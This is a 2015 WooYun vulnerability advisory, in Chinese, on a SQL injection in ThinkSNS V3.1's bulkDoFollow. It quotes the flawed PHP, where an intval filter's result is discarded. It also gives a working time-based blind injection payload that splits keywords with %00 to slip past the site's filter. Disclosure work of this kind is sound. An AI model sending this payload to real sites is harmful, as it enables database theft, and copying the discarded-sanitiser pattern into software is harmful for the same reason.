当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-095972

漏洞标题:ThinkSNS 防御绕过思路(union select 真正的无限制sql注射)

相关厂商:ThinkSNS

漏洞作者: menmen519

提交时间:2015-02-20 12:16

修复时间:2015-04-02 10:23

公开时间:2015-04-02 10:23

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-02-20: 细节已通知厂商并且等待厂商处理中
2015-03-03: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2015-04-27: 细节向核心白帽子及相关领域专家公开
2015-05-07: 细节向普通白帽子公开
2015-05-17: 细节向实习白帽子公开
2015-04-02: 细节向公众公开

简要描述:

ThinkSNS 防御绕过思路(union select 真正的无限制sql注射)

详细说明:

public function bulkDoFollow() {
// 安全过滤
$res = $this->_follow_model->bulkDoFollow($this->mid, t($_POST['fids']));
$this->ajaxReturn($res, $this->_follow_model->getError(), false !== $res);
}


跟进bulkDoFollow

public function bulkDoFollow($uid, $fids) {
$follow_states = $this->getFollowStateByFids($uid, $fids);


跟进:getFollowStateByFids

public function getFollowStateByFids($uid, $fids) {

array_map( 'intval' , $fids);

$_fids = is_array($fids) ? implode(',', $fids) : $fids;
if(empty($_fids)) {
return array();
}

$follow_data = $this->where(" ( uid = '{$uid}' AND fid IN({$_fids}) ) OR ( uid IN({$_fids}) and fid = '{$uid}')")->findAll();

$follow_states = $this->_formatFollowState($uid, $fids, $follow_data);


看着一段逻辑
array_map( 'intval' , $fids);

$_fids = is_array($fids) ? implode(',', $fids) : $fids;
fids如果是一个字符串
array_map( 'intval' , "1,2,3"); 这个是会报警告的,但是程序还是会往下执行
所以造成注入
发送url:
http://localhost/ThinkSNS_V3.1_20131108_28822/index.php?app=public&mod=Follow&act=bulkDoFollow
postdata:
fids=1,2,if(ascii(substr((sele%00ct user() fr%00om ts_atme limit 0,1),slee%00p(3),1))=114,5,1)))#
造成全站信息可以猜测

漏洞证明:

修复方案:

版权声明:转载请注明来源 menmen519@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-04-02 10:23

厂商回复:

最新状态:

暂无